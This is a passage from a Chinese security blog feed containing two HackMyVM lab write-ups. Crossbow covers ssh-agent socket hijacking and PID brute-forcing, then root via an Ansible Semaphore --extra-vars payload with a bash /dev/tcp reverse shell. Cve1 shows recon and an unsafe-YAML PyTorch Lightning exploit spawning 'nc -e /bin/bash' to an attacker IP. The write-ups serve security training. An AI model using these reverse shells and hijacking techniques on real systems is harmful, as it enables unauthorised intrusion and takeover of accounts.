polo:x:1001:1001:,,,:/home/polo:/bin/bash
polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin
mysql:x:103:106:MySQL Server,,,:/nonexistent:/bin/false
_rpc:x:104:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:105:65534::/var/lib/nfs:/usr/sbin/nologin
gluster:x:106:107::/var/lib/glusterd:/usr/sbin/nologin
cockpit-ws:x:107:113::/nonexistent:/usr/sbin/nologin
cockpit-wsinstance:x:108:114::/nonexistent:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
pedro:x:1002:1002::/home/pedro:/bin/sh
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;polo@crossbow:/$ cd /tmp
polo@crossbow:/tmp$ ls
dbus-aOzC2qT5og  ssh-XXXXXXcE94FH  ssh-XXXXXXvsuvXX
polo@crossbow:/tmp$ file *
dbus-aOzC2qT5og:  socket
ssh-XXXXXXcE94FH: directory
ssh-XXXXXXvsuvXX: directory
polo@crossbow:/tmp$ cd ssh-XXXXXXcE94FH/
bash: cd: ssh-XXXXXXcE94FH/: Permission denied
polo@crossbow:/tmp$ cd ssh-XXXXXXvsuvXX/
polo@crossbow:/tmp/ssh-XXXXXXvsuvXX$ ls -la
total 8
drwx------ 2 polo polo 4096 Apr  3 12:44 .
drwxrwxrwt 4 root root 4096 Apr  3 12:44 ..
srw------- 1 polo polo    0 Apr  3 12:44 agent.1259046
polo@crossbow:/tmp/ssh-XXXXXXvsuvXX$ file agent.1259046 
agent.1259046: socket
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1️⃣ &lt;code&gt;/tmp/dbus-CXcuU0fprd&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;dbus-CXcuU0fprd: socket
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是 &lt;strong&gt;DBus 会话 socket&lt;/strong&gt;&lt;br&gt;👉 常见于桌面/系统服务&lt;br&gt;👉 &lt;strong&gt;99% 对提权没用，可以忽略&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;2️⃣ &lt;code&gt;/tmp/ssh-XXXXXXb5kQzw/agent.945466&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;agent.945466: socket
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;🔥 &lt;strong&gt;重点来了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SSH Agent Socket（ssh-agent）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;说明什么？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;当前系统上，有一个 SSH agent 正在运行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;而且它的 socket &lt;strong&gt;暴露在 /tmp 下，被你看到&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;ssh-agent解释&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SSH_AUTH_SOCK=/tmp/ssh-XXXXXXcE94FH/agent.1089  ssh lea@192.168.0.105
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第一张图在说什么？&lt;/h3&gt;
&lt;p&gt;它在描述一个正常工作的场景：&lt;/p&gt;
&lt;p&gt;Alice 从自己电脑 → 登录到 bastion → 再跳到 server&lt;/p&gt;
&lt;h3&gt;用人话就是：&lt;/h3&gt;
&lt;p&gt;Alice 自己电脑上有一把钥匙（ssh-agent）&lt;/p&gt;
&lt;p&gt;她做了这句：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ssh -A alice@bastion
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;意思是：&lt;/p&gt;
&lt;p&gt;“我登录 bastion 的时候，把我电脑里的钥匙也一起带过去。”&lt;/p&gt;
&lt;p&gt;于是发生了三件事：&lt;/p&gt;
&lt;p&gt;1️⃣ Alice 电脑上的 ssh-agent 还在她电脑上&lt;br&gt;2️⃣ bastion 上创建了一个 “远程插口”&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/tmp/ssh-xxxx/agent.1676
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3️⃣ bastion 里的 shell 通过这个插口，可以用 Alice 的钥匙&lt;/p&gt;
&lt;p&gt;所以 Alice 在 bastion 上执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ssh server.internal
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽然 bastion 本地没有钥匙&lt;br&gt;但通过这个插口&lt;br&gt;可以让 Alice 电脑上的钥匙帮忙开门&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;第二张图就是你现在干的事 😈&lt;/h3&gt;
&lt;p&gt;它在讲一个攻击场景。&lt;/p&gt;
&lt;p&gt;现在多了一个人：&lt;/p&gt;
&lt;p&gt;Mallory（你）&lt;/p&gt;
&lt;p&gt;你在 bastion（也就是你现在的 crossbow）上有 shell。&lt;/p&gt;
&lt;p&gt;你看到了：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/tmp/ssh-xxxx/agent.1676
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你做的事情是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SSH_AUTH_SOCK=/tmp/ssh-xxxx/agent.1676 ssh server.internal
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;翻成人话：&lt;/p&gt;
&lt;p&gt;“嘿 ssh，别用我的钥匙&lt;br&gt;用这个插在 Alice 身上的那根 U 盾”&lt;/p&gt;
&lt;p&gt;SSH 就真的用了 Alice 的钥匙&lt;br&gt;你就以 Alice 的身份登录进了 server&lt;/p&gt;
&lt;p&gt;你没有密码&lt;br&gt;你没有私钥&lt;br&gt;你只是 借用了一个已经被授权的钥匙&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# pwncat -l 1234

polo@crossbow:/$ SSH_AUTH_SOCK=/tmp/ssh-XXXXXXcE94FH/agent.1089  ssh lea@192.168.0.105
SSH_AUTH_SOCK=/tmp/ssh-XXXXXXcE94FH/agent.1089  ssh lea@192.168.0.105
Pseudo-terminal will not be allocated because stdin is not a terminal.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据反馈得知该shell缺少tty&lt;/p&gt;
&lt;h2&gt;什么是tty&lt;/h2&gt;
&lt;p&gt;TTY = 你和 Linux 交互用的“真实终端”&lt;/p&gt;
&lt;p&gt;就是：&lt;br&gt;有没有一个“键盘 + 屏幕”那样的交互通道。&lt;/p&gt;
&lt;p&gt;❌ 假终端（non-TTY）&lt;br&gt;只有 stdin/stdout&lt;br&gt;没有终端控制能力&lt;/p&gt;
&lt;p&gt;它只是个管道，不是一个真正的终端。&lt;/p&gt;
&lt;p&gt;没有 TTY，你会遇到这些：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;行为&lt;/th&gt;
&lt;th&gt;结果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;sudo&lt;/td&gt;
&lt;td&gt;不能输密码&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ssh&lt;/td&gt;
&lt;td&gt;不能交互&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;su&lt;/td&gt;
&lt;td&gt;直接失败&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;vim / nano&lt;/td&gt;
&lt;td&gt;直接崩&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;top / less&lt;/td&gt;
&lt;td&gt;乱码&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ctrl+C&lt;/td&gt;
&lt;td&gt;失效&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python3 -c &amp;#39;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;登录爆破&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;polo@crossbow:/home/lea$ SSH_AUTH_SOCK=/tmp/ssh-XXXXXXLi1PX1/agent.1089 ssh lea@192.168.0.105
lea@192.168.0.105&amp;#39;s password: 

Permission denied, please try again.
lea@192.168.0.105&amp;#39;s password: 

Permission denied, please try again.
lea@192.168.0.105&amp;#39;s password: 

lea@192.168.0.105: Permission denied (publickey,password).
polo@crossbow:/home/lea$            


尝试爆破
for i in {1040..1140}; do SSH_AUTH_SOCK=/tmp/ssh-XXXXXXLi1PX1/agent.$i  ssh pedro@192.168.0.105; done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解释“因为 pedro 的 ssh-agent 被 ssh -A 转发进了 lea 的 SSH 会话，所以它的 socket 被挂载在 lea 的 /tmp/ssh-XXXX 目录下。PID 是 sshd 动态生成的，因此只能枚举。”&lt;/p&gt;
&lt;h3&gt;关键事实 1&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;**/tmp/ssh-XXXXXXLi1PX1**&lt;/code&gt; 这个目录是 sshd 创建的&lt;/p&gt;
&lt;p&gt;它不是 “lea 的钥匙目录”&lt;br&gt;它是：&lt;/p&gt;
&lt;p&gt;“lea 登录 crossbow 时，sshd 给她开的 agent 转发通道”&lt;/p&gt;
&lt;p&gt;这个目录的名字属于 lea 会话&lt;br&gt;但里面的 socket 可以指向任何被转发过来的 agent&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;关键事实 2&lt;/h3&gt;
&lt;p&gt;当 pedro 用 &lt;code&gt;**ssh -A**&lt;/code&gt; 经过 lea → crossbow 时&lt;/p&gt;
&lt;p&gt;真实链路是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;pedro 的 ssh-agent
   ↓（加密转发）
lea 的 ssh 会话
   ↓（再转发）
crossbow 的 sshd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sshd 会把 pedro 的 agent 挂在：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/tmp/ssh-XXXXXXLi1PX1/agent.&amp;lt;随机pid&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以你看到的是：&lt;/p&gt;
&lt;p&gt;pedro 的 agent&lt;br&gt;被“挂”在了 lea 的目录里&lt;/p&gt;
&lt;p&gt;这就是你能在 lea 的目录里爆出 pedro 的原因。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;为什么 PID 要爆？&lt;/h3&gt;
&lt;p&gt;因为 sshd 创建 socket 时用的是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;agent.&amp;lt;sshd fork 出来的 pid&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不是 pedro 的 PID&lt;br&gt;不是 lea 的 PID&lt;br&gt;是 sshd 当时 fork 的子进程 PID&lt;/p&gt;
&lt;p&gt;这个你没法提前知道&lt;br&gt;只能枚举&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;爆破成功的真实原因是：&lt;/h3&gt;
&lt;p&gt;你在：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/tmp/ssh-XXXXXXLi1PX1/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个“lea 会话的 agent 目录”里&lt;br&gt;枚举到了一个：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;agent.1xxx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个 socket 实际上连接的是：&lt;/p&gt;
&lt;p&gt;pedro 的 ssh-agent（被转发进来）&lt;/p&gt;
&lt;p&gt;你用它去连：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ssh pedro@192.168.0.105
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就等于用 pedro 自己电脑上的钥匙去开门。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-7.png&quot; alt=&quot;&quot;&gt; &lt;/p&gt;
&lt;h1&gt;提权-root&lt;/h1&gt;
&lt;p&gt;查看端口连接情况&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现不明连接&lt;/p&gt;
&lt;p&gt;127.0.0.1:3000&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;╭─pedro@crossbow ~ 
╰─$ curl 127.0.0.1:3306
curl: (1) Received HTTP/0.9 when not allowed
╭─pedro@crossbow ~ 
╰─$ curl 127.0.0.1:3000                                                                                                                                 1 ↵
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;base href=&amp;quot;/&amp;quot;&amp;gt;
    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;
    &amp;lt;meta http-equiv=&amp;quot;X-UA-Compatible&amp;quot; content=&amp;quot;IE=edge&amp;quot;&amp;gt;
    &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width,initial-scale=1.0&amp;quot;&amp;gt;
    &amp;lt;link rel=&amp;quot;icon&amp;quot; href=&amp;quot;favicon.png&amp;quot;&amp;gt;
    &amp;lt;title&amp;gt;Ansible Semaphore&amp;lt;/title&amp;gt;
  &amp;lt;script defer type=&amp;quot;module&amp;quot; src=&amp;quot;js/chunk-vendors.66355ca7.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script defer type=&amp;quot;module&amp;quot; src=&amp;quot;js/app.b2fc4bb2.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;link href=&amp;quot;css/chunk-vendors.e1031f37.css&amp;quot; rel=&amp;quot;stylesheet&amp;quot;&amp;gt;&amp;lt;link href=&amp;quot;css/app.13f6f466.css&amp;quot; rel=&amp;quot;stylesheet&amp;quot;&amp;gt;&amp;lt;script defer src=&amp;quot;js/chunk-vendors-legacy.b392e67e.js&amp;quot; nomodule&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script defer src=&amp;quot;js/app-legacy.cefb5b9b.js&amp;quot; nomodule&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;noscript&amp;gt;
      &amp;lt;strong&amp;gt;
          We&amp;#39;re sorry but web doesn&amp;#39;t work properly
          without JavaScript enabled. Please enable it to continue.
      &amp;lt;/strong&amp;gt;
    &amp;lt;/noscript&amp;gt;
    &amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;!-- built files will be auto injected --&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;╭─pedro@crossbow ~ 
╰─$ find / -name semaphore -type f 2&amp;gt;/dev/null
/usr/bin/semaphore
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;╭─pedro@crossbow ~ 
╰─$ semaphore
Ansible Semaphore is a beautiful web UI for Ansible.
Source code is available at https://github.com/ansible-semaphore/semaphore.
Complete documentation is available at https://ansible-semaphore.com.
Usage:
  semaphore [flags]
  semaphore [command]
Available Commands:
  completion  generate the autocompletion script for the specified shell
  help        Help about any command
  migrate     Execute migrations
  server      Run in server mode
  setup       Perform interactive setup
  upgrade     Upgrade to latest stable version
  user        Manage users
  version     Print the version of Semaphore
Flags:
      --config string   Configuration file path
  -h, --help            help for semaphore
Use &amp;quot;semaphore [command] --help&amp;quot; for more information about a command.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看一下版本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;╭─pedro@crossbow ~ 
╰─$ semaphore version
v2.8.90
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;google 一下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-11.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt; 找到&lt;a href=&quot;https://gist.github.com/Alevsk/1757da24c5fb8db735d392fd4146ca3a&quot;&gt;攻击方式&lt;/a&gt;：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[Attack Vectors]
 
The --extra-vars parameter can be abused by a malicious user with low privileges to achieve Remote Command Execution (RCE) and read files and configurations, perform Server Side Request Forgery (SSRF), execute commands, and establish a reverse shell on the ansible server. Payload:
 
{&amp;quot;ansible_user&amp;quot;: &amp;quot;{{ lookup(&amp;#39;ansible.builtin.pipe&amp;#39;, \&amp;quot;bash -c &amp;#39;exec bash -i &amp;amp;&amp;gt;/dev/tcp/127.0.0.1/1337 &amp;lt;&amp;amp;1&amp;#39;\&amp;quot;) }}&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;进行一下端口转发，否则我们看不到那个 UI：
socat TCP-LISTEN:3001,fork TCP:127.0.0.1:3000 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;尝试弱密码和万能密码，&lt;code&gt;admin:admin&lt;/code&gt; 登录进去了。&lt;/p&gt;
&lt;p&gt;然后设置环境变量：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-13.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo pwncat -l 9999 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-14.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;报错了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ERROR: Ansible could not initialize the preferred locale: unsupported locale setting
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没有设置地区，设置一下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-15.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;{
    &amp;quot;LC_ALL&amp;quot;:&amp;quot;en_US.UTF-8&amp;quot;,
    &amp;quot;LANG&amp;quot;:&amp;quot;en_US.UTF-8&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-16.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;重新运行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Crossbow-17.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;root@crossbow:/home/pedro# cat user.txt
cat user.txt
58cb1e1bdb3a348ddda53f22ee7c1613

cat root.txt
7a299c41b1daac46d5ab98745b212e09
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/crossbow/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/crossbow/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 12 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Cve1</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/cve1/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/cve1/</guid><description>Identifies vulnerable software and locates a vulnerability to compromise this host.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Cve1-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
192.168.0.107   08:00:27:8b:20:d4       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap信息收集&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.107
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-11 23:36 EST
Nmap scan report for 192.168.0.107
Host is up (0.00060s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 3a:9a:6c:98:00:a7:c8:66:94:fe:58:7e:61:a7:f9:e8 (RSA)
|   256 9d:6f:0d:13:02:3c:65:45:79:1b:3d:9b:e2:5e:24:5f (ECDSA)
|_  256 82:ba:54:82:f7:1d:a2:65:fc:9f:25:dc:43:ee:7e:4c (ED25519)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
9090/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Site doesn&amp;#39;t have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.71 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80端口&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Cve1-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;p&gt;简单扫了下没啥东西，估计突破点在9090端口&lt;/p&gt;
&lt;h2&gt;9090端口&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Cve1-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以写入后缀为.yaml的文件然后在页面端进行文件名读取&lt;/p&gt;
&lt;p&gt;没啥思路，查看源码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;!DOCTYPE HTML&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;body style=&amp;quot;background-color: rgb(225,225,225)&amp;quot;&amp;gt;
&amp;lt;h1&amp;gt;Nuclei War Now!&amp;lt;/h1&amp;gt;
    &amp;lt;form name=&amp;quot;savefile&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;&amp;quot;&amp;gt;
        File Name: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;filename&amp;quot; value=&amp;quot;&amp;quot;&amp;gt;.yaml&amp;lt;br/&amp;gt;
        &amp;lt;textarea rows=&amp;quot;10&amp;quot; cols=&amp;quot;100&amp;quot; name=&amp;quot;textdata&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br/&amp;gt;
        &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submitsave&amp;quot; value=&amp;quot;Save template on the server&amp;quot;&amp;gt;
&amp;lt;/form&amp;gt;
    &amp;lt;br/&amp;gt;&amp;lt;hr style=&amp;quot;background-color: rgb(150,150,150); color: rgb(150,150,150); width: 100%; height: 4px;&amp;quot;&amp;gt;&amp;lt;br/&amp;gt;
    &amp;lt;form name=&amp;quot;openfile&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;&amp;quot;&amp;gt;
        Open File: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;filename&amp;quot; value=&amp;quot;&amp;quot;&amp;gt;.yaml
        &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submitopen&amp;quot; value=&amp;quot;View content&amp;quot;&amp;gt;
&amp;lt;/form&amp;gt;
    &amp;lt;br/&amp;gt;&amp;lt;hr style=&amp;quot;background-color: rgb(150,150,150); color: rgb(150,150,150); width: 100%; height: 4px;&amp;quot;&amp;gt;&amp;lt;br/&amp;gt;
    File contents:&amp;lt;br/&amp;gt;
    &amp;lt;!--Backend developed with PyTorch Lightning 1.5.9--&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PyTorch Lightning 1.5.9漏洞&lt;/h2&gt;
&lt;p&gt;没找到&lt;/p&gt;
&lt;p&gt;通过看wp得知了该框架下的一个漏洞&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4118&quot;&gt;&lt;strong&gt;CVE-2021-4118&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://huntr.com/bounties/31832f0c-e5bb-4552-a12c-542f81f111e6&quot;&gt;huntr - The world’s first bug bounty platform for AI/ML&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PyTorch Lightning 的 &lt;code&gt;core.saving.load_hparams_from_yaml&lt;/code&gt; 使用了 &lt;code&gt;**yaml.UnsafeLoader**&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;通过恶意构造的 YAML 文件，可以在加载时执行任意 Python 代码。&lt;/li&gt;
&lt;li&gt;本质上是 &lt;strong&gt;远程代码执行（RCE）风险&lt;/strong&gt;，只要加载恶意 YAML 文件即可。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;利用gobuster扫描该页面&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://192.168.0.107:9090 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.107:9090
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              js,yaml,php,txt,html,zip,db,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 280]
/.php                 (Status: 403) [Size: 280]
/index.php            (Status: 200) [Size: 910]
/test.yaml            (Status: 200) [Size: 19]
/manual               (Status: 301) [Size: 322] [--&amp;gt; http://192.168.0.107:9090/manual/]
/file.yaml            (Status: 200) [Size: 0]
/javascript           (Status: 301) [Size: 326] [--&amp;gt; http://192.168.0.107:9090/javascript/]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到了file.yaml&lt;/p&gt;
&lt;p&gt;为了获得反向 shell，基于漏洞的“概念验证”，我在终端上运行监听器并创建以下 yaml：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;- !!python/object/new:yaml.MappingNode
  listitems: !!str &amp;#39;!!python/object/apply:subprocess.Popen [[&amp;quot;nc&amp;quot;,&amp;quot;-e&amp;quot;, &amp;quot;/bin/bash&amp;quot;, &amp;quot;192.168.0.106&amp;quot;, &amp;quot;1234&amp;quot;]]&amp;#39;
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load
